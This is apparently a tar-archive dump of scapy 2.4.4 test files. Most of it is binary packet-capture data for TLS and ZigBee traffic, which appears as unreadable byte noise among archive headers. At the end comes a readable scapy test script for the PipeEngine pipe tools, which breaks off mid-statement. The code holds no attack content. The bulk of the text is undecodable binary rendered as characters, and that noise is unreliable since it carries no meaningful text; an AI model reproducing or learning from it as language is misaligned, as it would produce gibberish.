¢¢‚ÀS||E|@{n"e"eh²s!\ÿÿÿÿÿÿÿk¢Þ5×ö‚ê&A#/¸´ÿÿÿÿíÝÿÿc–,hÿÿÿÿÿÿÿÿR>M /uCÿÿÿÿm%[ 2G àv–‹‹rA!7‰Ý[~ 3èdCØœùĦ¼—%ãòƒÏ"=]šÄȬ\·Ï@܆[²ðoåŽðy™®¤„å Tl'KýHY".¥%;,ô>Ój°Ð.ÈqŽ9öó¼– Zô8ÿÿG= Vå\™ 'yu³g¤ùäYH„®rNsò4ˆŠYv^7×zÿÿÿÿ€Hùÿÿÿÿÿÿÿÿ ä¢¢‚Ǧ¾¾E¾@|,"e"eª‡€ 2ž’$T ]‰X¸^ÿÿS†T œ™~i"ÿÿÿÿÿÿÿÿ€ Hù¿ö¦>>€ÙÞ€ Hù@%þ4\iÿxy ÿÿÿÿÿÿÿÿ  ä(¢¢‚ÔÅE@{æ"e"eðôc! ä>~ø-(ÿÿzÿÿÿÿy "Œ+È h-Hb É¥¢e¢mÙ³Ë ^éæ?ÏL ÿÿÿÿ… F!þuìÔòÿÖäW?->w ÿÿÿÿÿÿÿÿÿÿû‰&&f¬¹›×F(t¢¢‚Ú\PPEP@|š"e"e<Ý: 0Љy  tÈ¢¢‚áv¤¤E¤@|F"e"eÔ4 „ -e65-‹ ÿÿÿÿ!ÿÿÿÿ#ÿÿÿÿ7bôHù¼#" ÿÿÿÿÿÿÿÿ€Hù÷?"ÜÿÿÿÿÿÿÿÿÈœ¢¢‚æwwEw@|s"e"eca!5Wˆÿÿ ÿÿÿÿ$= b©3£&“üB|‰|ÿG4ƒÿh œ¢¢‚ìiiEi@|"e"eU#É! I‹;,X\Mß‘nŒÿ€ Hù?þ¼á xK Ü¢¢‚ò ¸¸E¸@|2"e"e¤_À! ˜ [däVòWJÓ”†ðÿ†G~€,Re= ·Ew}'z#Z kú‹бÓ-r ' K ÜT¢¢ƒV//E/@{»"e"e ö! ÿÿÿÿƒ†ðÿŽ)54”e1Óý³»µâñgæª!„¦˜æ`ëéÉ5äðüÝÕ²,xÄ<)rº&eX ì+} ³·d"o2Q)Iÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ$ÿÿÿÿn †ðÿ `v#9¢â½Çf¼3ÄÀ’š¼ymIk¶¸kT–·’ € Hù@Cì5üZu T ¢¢ƒ }úúEú@{ð"e"eæ!N!8Ú,9 a£tl\  ósYè‹4Š)Âq|w‡ÿÿ7ÿ v9-ûLlb ø´¿§@¶JiÓqGƒò@!‰‡ŒÿF € HùÀ1„ È5_?@?ò  ¸¢¢ƒK‘‘E‘@|Y"e"e}Pø!qY€' ‹{ƒ>?Y-$$Qn(ÿÿ(ÿÿ`Œ¸¢¢ƒ"UÚÚEÚ@{"e"eÆz!ºjuSÏY€q€ Hù@ÒU´"³ƒ?Ad-‹•)~ö!0ò±M}zý'á…ƒÑFÞÇ|‘ôò€…l¯üC+–\ONì[Óo%4#Œÿ € Hùzªx”¥)€hÿÿÿÿX,¢¢ƒ<ßE@{ã"e"eóe‘!6çÿÿÿÿ!ÿÿÿÿ`‡pþ#*L Žy 2]PU~€wYly "8153169072929762434069612917622ôHùœ?…zf,j ý­_·ûü!¯Wt5‚} ÿÿÿÿƒ,¬¢¢ƒQˆˆEˆ@{b"e"et.”!hÿÿÿÿÿÿÿYHOn;d>€ HùÀÆÖtÈtV'¹°¼³½›/?6§è3µYòá@?7DKEiBXNVQ-0kvHn7y5yEjVH6zkFfTNGtdQYRcgxS6KP6ZRHkEDlEZhOYYVRZ1p #ÿÿÿÿV15¹ee_`y {9ÿÿÿÿÿÿÿÿ<ÜÈRµÀßÌ÷z˜¤`‰/ýÅëë\Œ¼×ØÀyÖPÀK‡@@*ÚÛQp@d%­ ‡y ÿÿÿÿÿÿÿÿQQôHùíÜôuÿÿÿÿ¬ð¢¢ƒ]ëÉÉEÉ@|!"e"eµí!©ÿÿÿÿX)ˆÙ ÿÿÿÿw ÿÿÿÿÿÿÿ€nmW9Rÿÿÿÿ{€HùÐ h“O€ HùÀŸGß6I ÿÿ <  rPYXf8k3yïð ¢¢ƒc„üüEü@{î"e"eè!! Ü@w i´,%ô2 ºa­!ZKMòn©Ð`­–˜OÀnÛÛaÖØ·6yS[Ew[]n5þ&Ÿ¦É¯¯×¶EÑjÊîn`ãÀ¦ösðY¤ß‚œºö5óëÇ‘¦°L© ÙÐ4HV5$SœðJ°¬cØÕ¸ù%é<8ÒùQ4Ó0]=­cüåem7?€ Hùÿÿÿÿÿÿÿÿ `¢¢ƒnÑ99E9@{±"e"e%wc!ÿÿÿÿÿÿÿe6#/+0aažŽ!ÿÿÿÿZ_Šl`Jÿÿÿÿ€ Hùÿÿÿÿÿÿÿÿ€HùÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿNz )ñö"¾!tÄ[Å\» 8b /Ú½Üç OÆ…úÍ>o“á&íÈ£ÇæØc3!  €Hùÿÿÿÿÿÿÿÿ`\¢¢ƒqF66E6@|´"e"e").!6_q\`¢¢ƒ|Ø99E9@{±"e"e%µÃ!8ÿÿÿÿc ƒ>ôHù„&~€,G€ HùÀ 8aºF×Z\!‰^‡ $ÿÿÿÿ6Sa8a¼)‘>@==•(0ltæs'½}ÿÿÿÿ#ÿÿÿÿYkEk¢cAŽA#/iÿÿ‚ÛÿÿC·B–%ÿÿ‚é”®ÿÿèC@s8Ϲ‰z`¼¢¢ƒƒ«——E—@|S"e"eƒ]!2w ÿÿÿ~€k.ñ.ol7pŸTÇÎ>„ðdûÜ„Âçé‘(Hɇq}ÿÿÿÿ _ƒÇZ ¼¼¢¢ƒŠæ••E•@|U"e"eõ! u ÿÿÿUkÎ×ê°Üd{€Hùg€Bd>|| eK¹ûòŽŸ4ÿÿÿÿ€ Hù?ÿQÀ¬¢õ’u>¼¨¢¢ƒ‘E@|i"e"emåE!aÿÿÿÿqAŠÿÿÿÿ)Ž ½P}ÿÿÿÿ}€ Hù?ðÁon4 ÿÿÿÿÿÿÿÿo?&¨Ð¢¢ƒ¢aªªEª@{@"e"e– Ï ŠA/Eé&«:Û,þD®ŠpGwÿÿú½ÿÿ%£¸f´X:tÿÿÄ…ä  E8ÿÿ@mÿÿÿÿyÿÿÿÿÿÿÿÿŒÿo€ HùÀ»AÞÕ bƒ=^ˆS= P*d~° c^ãÐf-Ýß;av Ž%Xk :üÉtúÂ1þ‡¶-T ÿÿÿÿÌò'ÿ_=Šè–È‘àÀ“‡”W‚UaII\ ÀŠë@8ÿÿG{y oFt !š@§Ölk€ Hù@Èáè?°SÐh¢¢ƒ®<DDED@|¦"e"e0Â!$peC Dkd6n3aZtNhØ¢¢ƒ½9²²E²@|8"e"ežBØ! ’ÿÿÿD sÿÿÿÿ*o w ÿÿÿÿÿÿÿÿÿÿn}tJ=ð¤È¨st?r8wrbc5D6RxNSYzZY699y29794vyVjrIs7IbzeTh1cvxCIdD4MjhFg-kM7RSRf9ØÈ¢¢ƒÄ7¢¢E¢@|H"e"e޹(! ‚nFÿÿÿÿe-"*ðÆè‹b Ê¢žHáÔ5(ÿÿ€ Hù?Ûv æ‘qêƒhÿÿÿÿBÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿȼ¢¢ƒÎG••E•@|U"e"e‘! u:ŽDKl\S²ÃA#ÔWOUÿÿÈí¿t¸Å‚ÿ;¯.Ìÿÿÿÿ+x<  Co6N-0RcIv0z¼`¢¢ƒÒ»99E9@|±"e"e%š!ÿÿÿx `h¢¢ƒÕ[AAEA@|©"e"e-…A!!Ih€¢¢ƒâ \\E\@{Ž"e"eH¯Ü!<ÿÿÿÿSº)[Z˸EKß2}$aM'ðäMQ´ÛA1$áí°ë½KÉ–Å’ -ùšó9è ŠÓÏÞ:ŸÕ`&ãf¿y8ä€ié<ü‚áúÈÃu6¬úØ…5°ÜÊÚÃë>5¢<xkZOMkSjtGQsJxYK7z‡Kÿÿÿÿ#yô HùB£hZ’ŸÓ sÿÿÿÿƒQfJ9 ¯¿ Í!ÿÿÿÿEÿÿÿÿ€HùÿÿÿÿÿÿÿÿZI €p¢¢ƒæ¨LLEL@|ž"e"e8<—!,ÿÿÿÿLŽˆÿÿGƒÿpX¢¢ƒìp11E1@|¹"e"eq!4ÿÿÿ' Xd¢¢ƒò9==E=@|­"e"e)%!ÿÿÿÿ… s[Òç,µ~ìþߥd¢¢ƒÿóóEó@{÷"e"eß` !Óv=HêˆwÍ|GgëôüƒÐ 5Uæ¬{NjÿÿhD0ÿÿX^*\`~U~Xk<X1gsuYwLhHPBtnCo43b1DNJ4‰'Fÿÿÿÿsÿÿÿÿô Hùæ\ÍŒmÿÿÿÿuŒ¢¢„ ffEf@|„"e"eRÁ! FX{F_ÿÿÿÿGÿÿÿÿ€ HùÆ£«BgW1‘”Œscapy-2.4.4/test/pcaps/tls_new-session-ticket.pcap000066400000000000000000000077401372370053500222240ustar00rootroot00000000000000Ôò¡ÿÿ UüZ€LLÐP™VÝù vþ(†Ý`@\:$Ë Hhäd*5/þ`4äna½H ’»áY8>`£·PHÞÊÆý ÀÝn­o‚»çœ5›Œ(ñª&k bØ~"8sVPPVô–ÿÁ+ý2\½f "ŒO¼ö3oߤ“¿ÆvlEd_‚Ÿ¹Dñ@&$/5¨ÐÇ}æÊÞ¡ÝÌûñJŸ(1wh Ü2®‹š\ð1óßJ·™ñMi²UªL3ÈN° ¹¥j_H¦cK›YÇ/êÜ’¸÷¢g×Ñ©0;ø–¯[vG^íð neÆ{† ®6‚«•W¼¦+i`Þ$z…iG –Ê+\Ñu`¾âp·(ݲjž¹†/æ°Ý°àMyð®zù¡=ÃpÙ-q UüZs‚LLÐP™VÝù vþ(†Ý`ë:$Ë Hh`A*5/þ`4äna½H ’»á ²,)Ÿ?‰PˆÊÆý ÀÝn­o‚»çœ5›Œ(ñª&u'û‰¬3žm» Ñ Ã}¾4´–g*…ÄUZñïìÞo‡ —³A|co彋GF’(âŽU„p¨ÁZÍ(DÀ`ÓwµZª¥î[ TVSÖO÷ QœÊx¤³.BïJÌ€ ¥„}ýÛy¶lØÛ†y]Â¥F…}——N§à€“Øü\5saá'ZÌêŸú§YB3µ$Éi`™Á˜°º°»<‹éáo:(ù|@i5ˆ3húW_ˆãã0ÿ*P vNe`lÁÅš UüZà‡LLÐP™VÝù vþ(†Ý` ø:$Ë Hh`A*5/þ`4äna½H ’»á¬b5¨m¢P&ÊÊÆý ÀÝn­o‚»çœ5›Œ(ñª&“N"«õ7Œä—Èw,׈0üë ä„”?Ù ›ôÐ Tƒ‚רì<§:…}°Çê˜Ðü0M×9•”ÄÎ ŽîÉ`žé¶±q8?^0pÈæy9Ö‰ƒ7±ÝŽ}øe€È^„«Â`*L±ÀHëö¯ºwb¾IyËuÛIþ¿–¯XÎŒÒÇ0y>»µ¹2(öÓ²ÿÚaçPCúÕ×hô¶+­š·Ù‡eLÒP”> ù­(p"ðaôÒp½pÐöœÿiä–V\…)6´ez0(ä­ UüZJ.LLÐP™VÝù vþ(†Ý`7T:$Ë Hh_A*5/þ`4äna½H ’»áù¸èÜ»"P–ìÊÆý ÀÝn­o‚»çœ5›Œ(ñª&Ô¥Œ S 3* .1&ÍhT^d-ï…y×½å*c¯ÎyVvNº(¤+Rc—åëAc˜•n1ëôN®ìt“&X‘,$V1d¬üX@Öf & }§¯,Dê>v/\­x™Ì7NgÙ¾¾gù„ãf %\ö™)XÜä„b3ñ Ÿí}'‘d§mêбOKšÝ¿¢ƒ¾øtœ©/Râ3ä¥p\ºV{wù* œ&ÇÀ\dW( I¸Põ p±ItÐW/°ª"Å0†¤›oLWšLP¼ UüZ£?88ÐP™VÝù vþ(E*Æt@6 &ŸzšÀ¨w»áîðV|~PíÕ±ÊÆÀ6k‹{¨¯ðŠG*ÝÂö ÞÉy ÛÕ5!‘+¡@þ/º˜Å³è>y®ÚÃ@4ö¼{|è7þ>º\æ¹ö[,XàjY¨ú!1¸‚¾¦aK§­;(‘^¹Óa¥û%ÚfþùÈôÆz§d¥‰‚IZÜ3 {Œ"ÕwŽ GƧ ó<:‚cŠë("Ä›LSÁŸ× 9è,ä*ió›»µ˜É*EQô÷°5ºby ÎW‡33ãû¯è2U½çtФT䨿Ûd!ù(Þ³G úöÔ¢-u¤­$ˆ–1y+B]µheVäI,@ |-ÕÊ*0Q\Ú UüZ1F88ÐP™VÝù vþ(E*…e@6J5ŸzšÀ¨w»áL±D÷ ®JPíÊÆÀ6k‹{¨¯ðŠG*ÝÂö ÞÉm®|ƒ—{–ÄÓø7Á¾œqÌÛ°j>ï—Á#¥tÔëŸ6`´UÿÎÏ¢ïtÇÕUˆýÈòxÌsÊF ÀÁµÒ$Ìp‡I§  õäVøÖVTÚ‡è¢kTÄl=B‘uš ÿy•¸ `“ÐwÛežn1µMy)A•ÃT¤°ÖèͧÑÔê.ëYO¡Yi s¾1¿´ó­W¬‘­ëêaȨ¢ùE×P7¬cM(j‘¾©HiQ('ÝÞ¶G ‘?óXõaÛ«Bî i¸[A'¼ÇÄѯfÛPìÇsz×4Ò UüZ©U88ÐP™VÝù vþ(E*­è@6!²ŸzšÀ¨w»á.™Ì)µë­Pí@âÊÆÀ6k‹{¨¯ðŠG*ÝÂö ÞÉ^kïÌ45"¡Ë‹ÝèWÅß!ê 8å6㜸SoÚ>y­†ë¡ê(É\1*r1û?bà)³쥠|ækþ´3Q‘2Há*êØê+Ó va_M­A¥é..?Øx_ ùÉ‚ô<§û“À™È&[{}8By¶2Ímö§ñÆ«ô2­¡ 89´‹®ÿúàóLƒÝøñzþC$ø¯Ñlm÷÷9ÈF*ËÛ|Ì÷,Ãõ×E©(kàðÊïÓŠ#íøæ<>±ÚSŽO½Y³r5Šdk7éÁ„‡Þžó¥ÂÙ UüZM™LLÐP™VÝù vþ(†Ý`::$Ë Hh\A*5/þ`4äna½H ’»á ŽÑúR’"XP!ÊÆý ÀÝn­o‚»çœ5›Œ(ñª&â‘IûÑd1¾lÄ%¡äqo£`,Û,±"Ô ]Ø4%ßÐçFÈr%K½ýçÊòŸt7}ÁX:¾qM7^Û«OÑcºèVŽ2}X±„› ž/QØm³uÓÿ‡å¼FÆ89Ϧb‡ñt*7Ò¦„ó Ö{îôJŸYC7&2fyÄ.É.q$„‘ GÎ÷¹î*IøºdÌ÷('˜ŽÕ³:™šÂ2QÅu¦-Ý:ÓÍh´(`–oØfQп÷,ÉGšatÿâÐh‘Þvo1Dxí  UüZº¢LLÐP™VÝù vþ(†Ý`Ô':$Ë Hh\A*5/þ`4äna½H ’»á! Ü4®‚l5~PíKÊÆý ÀÝn­o‚»çœ5›Œ(ñª&Ô_Áè#Xzœ<¾@ ïÔ¿7·2@ïg¬Ö_( b”®î‚Gô×Ü®ÁlpÄe#‘¸7š}‰9ˆ«3‚'‚LcNª±z-± sü“ ì9¢R¸+©ïû¨ôó.bK„ î÷e`TDëZE¥f]Cb-y#vçUÏøŒ-ü}k|OI¦ç³(|Ÿmi÷(æ#èq—©ÐÑZI‡;ƒ}~í ÙfæÂ€i‘ÌC¯(Û¤š±‘3%42áŸÉ(­5ÀÓ1~®^ûZõˆ›§ UüZTÝ88ÐP™VÝù vþ(E*éè@6˜_Ç`9À¨w»á²„ÕV¦H(PJW(8‘¦"îv£í ÿçaªwY/^ÓòD/‡~«À©y 7UüZ8((ÐP™VÝù vþ(E%p@3Íhô*HÀ¨w»á$·ËZñçz}†Ã'Z{ÈŒœOr¼ÖZb[“åPþ\3’h,ô fXìáÙd÷ÕÆvGå>z¢ŠuÔíùx'h„²ÿ“þË*ÄÙ,£†á ó@r?2µ‘ÁzO?hwT¡C|Ê‘ Žõ­”ɲÙMÆ–³ÁùûûÃ8Mqbä÷1„|έPG¶ªˆÚk|3¨Døzå`<"¸îq}ðÚ[ÈGrX÷d‘¶V¹­ôa(ÿ!6€ÊÌM°<ï~³(&fßJþFÇ7’uµL¯\°fö0/~Ø‹äscapy-2.4.4/test/pcaps/tls_tcp_frag.pcap.gz000066400000000000000000000061531372370053500206720ustar00rootroot00000000000000‹Í–y8”]Çï{fŒ±e,•m$5î±ɾ”$»"cÛh ²d™²´IY²DJÏJ!¤È5Ed«L¤PIO‘WòÞcéQ×û¾Ï¿ï\×¹îsÎïœßïÌ™ï|?÷ÓÆò‹¬~„Ÿ2Ró®H-,ÐË,5{°±„Ô0€ ÀÑÆ×úèŒÜóòBõ…ôƒ5õÒ@Ø&²®YÖJ@V'D‘H¬ö ‘®ÿªŒNz9${xsþâ¥W•ï°©…Ã/@gœ³©¨å!Þm wJñàa½s¦à®$ßvÏÜx\Ó"7eD{lÒªß ‹ |:€7à= !ÚbpØä# !`òÛ[ ©ìa½}ŵÜ|} >4—bÂ΄Y>äá ¸ÓDˆ ´G¡q3C¢8´ž=Àà„ÌhžîtO~{ ‡g0Ü% @XvÇiëîïE¥‘‰ë Qö 7ŽßÖÓƒNñ¦â-(º'™¨ ©³#Ha5bck€7¦¸Sñîþ²;B ÄÃÑš'ü …ÂÅŒ )1>¢¤ iAK'1>"<$©¨ªk©k9AŽDHšš·n%5N£ú¯¦…«KBâËK„­¨Á:%ÔÓÖÖïHñ'{¸ÃÇÆA‚K‡ãåV$ôW'zÒ!¸qí퀒òð<7‚‚ÀƒÚÀwÌȬ}†œ÷ËÚ”ŠÕœîZúÍ/Úœ•p=@ºízînËùسǃD.|xs³M¯T7º˜óLYÖÁW¯Ûr$Õó3¶f8¦¦'˽}j1ùÀÖ[dã[­Òã½ÆL$Û¤äº5†•iO:ˆFgä/bm˜'CJ°R*½’^òª9HžöíY¡þ²Âõ¡ZJüÝÎÉHí»XAqJߢKx´‰Hú‡ñ‰#šŽ2ÏÛ{¹#G8m&‰Su¢_Í®î¸&*9—*'¾}K¹©¥H“XÑáÒØ;óm"ÛÌò8ÆgZ5²½ Îp_ŽÝ*¸#ñÝ\/Åüq]ãî,ó7òM Gµ›”cHXi Ä,Ä@üµôHÊ¢`Ä Ÿ:éÚdWrœ6ž3—ÃÁªO¹³ Iö,J%‘Xe÷€®íŽœÒ–Þ_R/a'’;²¤$I~\D¡Ž|ˆ—=ƱÇXÞ,‡…„Ñ%4ÈÁÁ‰ôÐ.v2„ô!54<ˉ°Ü9!9Hvuó¡Óƒ‚µ••ƒ—5Hð (YÙB4Ú;ŽD€PÜÑÕõ ˆ:…B{WÇ"Áˆ½ÞîA£Ö¦X‘4¬èeþ­çe9/«ÙÈ€oüû@˜ ¶’ê´6ãòu ²¯“±F“ ÌuÆ ¹—¾io8…@1@*Üü@  Ôô¿¬•>~°25Mö\ñÙH3’c:÷U›·R2ÈÉROâaÿ¢xìüš($`™ ð;®^›rÇ7þe^ã‚#5(‰“¦YXmµæ|›˜ü!|6Æ&¸ßßs¢ùë;1‡éâzÍôí87çTD?Ü×5Nó$”~è¸Ñ¤ÏÙWø]¡~`ŒQ×÷€X©×­šQYW¸Rwðïº.gõbƒB•φޘÙé4’%fë— 3´ÇE^Ó|2®;™Â×ã7W`¡Ó¢éÒì"Z.ð¾'çÝÐ&VM)kýàQ ø}Èèì÷±«&Æe®ÙOÆ4ç{þe6t18­Üul¦Û¾R÷õRÝ)œõôÇü¢)Tü±òÛ»—AϪúh–Í8äûÃKŠRÕÓFÙ.¿vysØñÙíW—tøúÙ.^ág—ßriÉå×É*ÀÕ6Ë.ú¥==%Hý»wX7‡Ô²3Óÿ7?–ø‘óKæªU~œ€‹º2;¢Ã±q$ÛŸÄbÖ1œ¹ÖéÛèÿy«Ùy:8¤õ¤™Þì™W&.â1Á!IUbôÆeÞ]èoŒ£§jp 'g‰õº z­„ŽŸ;_P&C&‡à ƒÝóòÌú ZU&[S€¢”˹ÌóW¸“S¾Ÿ.H·óÛúüÅ 4O²Ò—öxÝ@fŸæâHW”bý1Îô:‡m3ç%ö¦“|kŠDSže¾y;²ñ©”O"$Ç+ÝÍêC\Ù}¸¬éýöW7âl:ÌoSœÞ œvKÞ5ãrd[Þ•HD®´Ïç)áÏ7±|c9¹)GƒáÏ’ûëlŒEÜ·ëq<­1!ó©Wù7o†§²:«âbÚÔ³4 @‹ÁðÃA äü ü;[ËW„Þ¤‹òÔÚò]Y{k¼lø%­Ÿ½í*08nKÏ0¼¹'-Ø3œ( -CgyoD¡‡¥ ‰eð‰ØùxâímMlìlìmíð–žô0*ÍH€¶.ãOn)F ¦/ÐÈ“F§xQ<–ágB÷¡Òà|KÔ#‰Êê©BDUâ*õþÿ8ýO¸ì Ví}¦ƒ t‰™T÷êr^Òk5ø Ý/õ_ø|áP&ÿ6½S{@^¿XÌÂxõÎðyÑ#–%ÏTäRoq2o[éY4ê+Žk-öǵK‹ª ÄÊß–HÄK,â³uÒ©‰!èý •TQ.Œ¬n×óD~ª‹µ°/7¥y/H£tv§Z ò ÄÑeÙ·ß7ç5kºQ›w ìkâ¢ÉεšCÓ| JÏü~¡&)#¾Iò*ýF)!/"·¡ÞPââãİy×T ¶¢A_ô#5ÞМ<{ÊÿÎ$lvJ>±¯º¤q½ØQ÷T‡…#ÜÔšèuc¹ƒ¬Ñ×í¼ûEVp Âod ïO¸´ g:+™wÚŲúrês?•#½¬Áå¤éO¸–4¹ŒK „†ð¡)¾ MXÏ‚»À Z±ƒÒ¨]lÓùFù z?ÐçO †UË–ðü~ÊOrþ¡f{þPè®úB>Þ®ª®áêOn@&/uW8*·†£ë×rô§ ¿üÇ‘ øfT˜îw±;÷¶Þ1Ûóõü¡õàN2–ú­1¨Â&›¨šíh3OÌó»aQX‹—ç4H[­KGÕίÿ«{­g“æ¤lá¡ÇÝo¦Îš‘hmœj™¬Ûßâe¼I>Y@åT[êuμ#ºÊýs_L“=êÆ*†þ|$S˜ÀÞOˆ—ß°ð­¬ÊÑ0 ý‰êŒ–0ša@úrzßP¬óåžÃ釮ä,.4R®Ê¿¹r™#ѹèVužç\‘Iüó›'^ÓLÞÂ÷ -6CÒÇŽ ¡ç#ÿjô9ðr$ó3®Odï‰2J¿€[-Yq‚xk´²@[8G~„'r‘\•Õ@:÷›ÆL!ýRB•ëd y¢3¿`.0ïÎ6Áª„L̾m÷¯É‘?¹†T®Ç8™™°n¯šÎT÷ûÃ7²(}óµŽ\^ÒvoúÚˆõÄåÔáð6Vœþ}ng–Nƒ›âȹúc†íi¦™B”šÌÇ÷ºùh»Í_§6©(x$–ªèrwïfÊæo1PÊFI§n›nÕÚ©Sâ$à €»€˜ '8ø4à˜Õù)Ö¬õrƒSÚ|.ï1tÌ­®Uœ³­bVO7{”a¤PµN ÷¨yÖZŠ¥é}ÒMš”|í vÇ·ja™÷·kÝs¡È[éi±h.‚ÁCFÖ1Ëý1{äd¥½«.}z Ç/ÏìŒcÚ&éM:«Ä\œ|@ÙŸþØå*!~ÏÊ箬ô?fÎø ÔÈ ‹3µ„"óÚ±g_Ö,t·a#Px!°+ª…ިѡ«mÞ§D®-“<PûOåªR¤YÍ•Ö~h©™È»æå;xï°VÈS°—}¤–$1ŒU°Ö>Ï/ú¾¤bWó¦s‡£ƒÚ¯ç>9˜v¢då«Ú!;óÁ…]п«£Ú)J<9¨e}…ò¬x¨ÿÑ¢ ·îƒm®©Åt¾ÄŒ„™æïI¸FK,üjõo%œáÅiscapy-2.4.4/test/pcaps/zigbee-join-authenticate.pcap000066400000000000000000000054301372370053500224570ustar00rootroot00000000000000Ôò¡ÿÿ扥[«o--Aˆ3ÿÿÿ üÿÑXÅ o (XÅ o @Í« ‰¥[‹žÿÿÿÿ‰¥[Z¦€cÿÿÏ „sensorÿÿÿ‰¥[ʽÿÿÿÿ‰¥[»É€dÿÿÏ „sensorÿÿÿ‰¥[óàÿÿÿÿ‰¥[ªì€eÿÿÏ „sensorÿÿÿ‰¥[Jü ÿÿÿÿ‰¥[ê €fÿÿÏ „sensorÿÿÿ‰¥[r ÿÿÿÿ‰¥[F'€gÿÿÏ „sensorÿÿÿ‰¥[›B ÿÿÿÿ‰¥[F€hÿÿÏ „sensorÿÿÿ‰¥[Ùa--Aˆ4ÿÿÿ üÿÒXÅ o (XÅ o ™éf+ë`‰¥[I#È ÿÿÿ ÿÿÚΉ¥[éŸ ‰¥[éŸcÈ ÿ ÿÿÚ‰¥[X· ‰¥[X·cÌ5ÿ ÿÿÚXÅ o M,‰¥[°Ò55‰¥[°Ò??aˆ6ÿM,HM,Ó!Û…áúÜÓ±}húŽ˜WÎ{³8 êø½i‹i .2Ës‡ògWC‰¥[7æ66‰¥[7æ77AˆÿÿÿM,HýÿM,{( ÿÿÚ11mdh­Ã+ޝ¨ã+rn;µ¥.“vùø‰¥[_ 00AˆÿÿÿM, üÿM,| ÿÿÚ( ÿÿÚ4:FÂ!€`ȉ¥[W4 77Aˆ7ÿÿÿHýÿM,{(XÅ o ûg,[ͺ®{dÖYí-4”å/a9yU‰¥[~W €dÿM,ÿ€ Œsensorÿÿÿ‰¥[k €eÿM,ÿ€ Œsensorÿÿÿ‰¥[^† 99AˆÿÿÿM, ýÿM,~ ÿÿÚ( ÿÿÚ ‰%'ä¨6_Êtò˜kU̚߉¥[W± KKaˆ8ÿM, M,Õ ÿÿÚXÅ o (XÅ o öfWŽ\o·BêVÈÕB@õ’â~8‰Qd–l`O‰¥[ä 88‰¥[è ::aˆÿM,HM,}( ÿÿÚ`vëH(3@CýÐ*¥…7þÓ,Å({Yßu€‰¥[- ‰¥[- ddaˆ9ÿM,HM,Ö(XÅ o jÎt9 4Oq½«Ü•ׯéŽržP?7Ĺß0Zb ¶÷—íW‡e¼©‹‹WÛF°¶ö/7Àl{Âpp5©ºíÅY‰¥[U. 99‰¥[=2 GGaˆÿÛM,ÛM,!0XÅ o 8á?ð~1SvSL³½ËÓâåâ*ÛÃÂIZÕ;½´záP‡×ú¤/Y‰¥[eU 77AˆÿÿÿM,HýÿÛ-( ÿÿÚ°=_{dm__Ž#W†EYs,-ÂSS‰¥[Œx 77Aˆ:ÿÿÿHýÿÛ-(XÅ o ¤¸ÙnÖ¸r ú{`µ~3çm •BÜ‹íT‰¥[ä“ KKaˆ;ÿM, M,× ÿÿÚXÅ o (XÅ o ª fáó·,”ŸùƒÙð…ù©°rFQ|ooì+‰¥[cÒ ;;‰¥[cÒ KKaˆ<ÿM, M,Ø ÿÿÚXÅ o (XÅ o xðÝ&`­abÊðc,£möÀ:.\ÙÙ™ðɉ¥[ <<‰¥[ 33AˆÿÿÿM, üÿM,€ ÿÿÚ( ÿÿÚ~DB(1õ±‡æÍ‰¥[ó7 00Aˆ=ÿÿÿ üÿÙXÅ o ( XÅ o YkÞl¢d鉥[êb 11Aˆ>ÿÿÿ üÿ ÚXÅ o ( XÅ o ÚÛ9èÞ“dʉ¥[Ê‘ 11AˆÿÿÿM, ýÿ ÚXÅ o ( ÿÿÚî#NZx^¢‰¥[²½ 11Aˆ?ÿÿÿ üÿ ÚXÅ o ( XÅ o *QÕú!‹Êäê)‰¥[Áä 66Aˆ@ÿÿÿÿÿ Û( XÅ o ð˜ëUy# Ó‡ØJÌÜ| pÇ„‰¥[Ò 66AˆÿÿÿM,ÿÿ Û( ÿÿÚ’£ ›‚%ú~©Z«Yv$'΀àhv™p‰¥[+ 11AˆAÿÿÿ üÿ ÚXÅ o ( XÅ o  N†@vaÒS´}‰¥[ V 66AˆBÿÿÿÿÿ Û(XÅ o *e“üGç1i@[QA $ïüâïj,‰¥[1y 11AˆCÿÿÿ üÿ ÚXÅ o (XÅ o ÀÈ/yé#7Vdꉥ[A  66AˆDÿÿÿÿÿ Û(XÅ o ãž«{jwf±øë"µç6¢ÂÄåB¯‰¥[là 33AˆÿÿÿM, üÿM, ÿÿÚ( ÿÿÚ𢀝Ûü~q`b‰¥[_î 00AˆEÿÿÿ üÿÜXÅ o (XÅ o jŒ›˜ê²:–scapy-2.4.4/test/pcaps/zigbee-transport-key-skke_1.pcap000066400000000000000000000001401372370053500230320ustar00rootroot00000000000000Ôò¡ÿÿÃZ\L988aˆ0Y3ÝÜ&Tkr;9jr{]RqQ}9/[AÿÿÿÿÿÿÿÿÿO$scapy-2.4.4/test/pipetool.uts000066400000000000000000000332151372370053500162200ustar00rootroot00000000000000######################## % Pipetool related tests ######################## + Basic tests = Test default test case s = PeriodicSource("hello", 1, name="src") d1 = Drain(name="d1") c = ConsoleSink(name="c") tf = TransformDrain(lambda x: "Got %s" % x) s > d1 > c d1 > tf try: t = TermSink(name="PipeToolsPeriodicTest", keepterm=False) tf > t except (IOError, OSError): pass p = PipeEngine(s) p.start() time.sleep(3) s.msg = [] p.stop() = Test add_pipe s = AutoSource() p = PipeEngine(s) p.add(Pipe()) assert len(p.active_pipes) == 2 x = p.spawn_Pipe() assert len(p.active_pipes) == 3 assert isinstance(x, Pipe) = Test exhausted source s = AutoSource() s._gen_data("hello") s.is_exhausted = True d1 = Drain(name="d1") c = ConsoleSink(name="c") s > d1 > c p = PipeEngine(s) p.start() p.wait_and_stop() = Test add_pipe on running instance p = PipeEngine() p.start() s = CLIFeeder() d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) s.send("hello") s.send("hi") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "hi" p.stop() = Test Operators s = AutoSource() p = PipeEngine(s) assert p == p a = AutoSource() b = AutoSource() a >> b assert len(a.high_sinks) == 1 assert len(a.high_sources) == 0 assert len(b.high_sinks) == 0 assert len(b.high_sources) == 1 a b a = AutoSource() b = AutoSource() a << b assert len(a.high_sinks) == 0 assert len(a.high_sources) == 1 assert len(b.high_sinks) == 1 assert len(b.high_sources) == 0 a b a = AutoSource() b = AutoSource() a == b assert len(a.sinks) == 1 assert len(a.sources) == 1 assert len(b.sinks) == 1 assert len(b.sources) == 1 a = AutoSource() b = AutoSource() a//b assert len(a.high_sinks) == 1 assert len(a.high_sources) == 1 assert 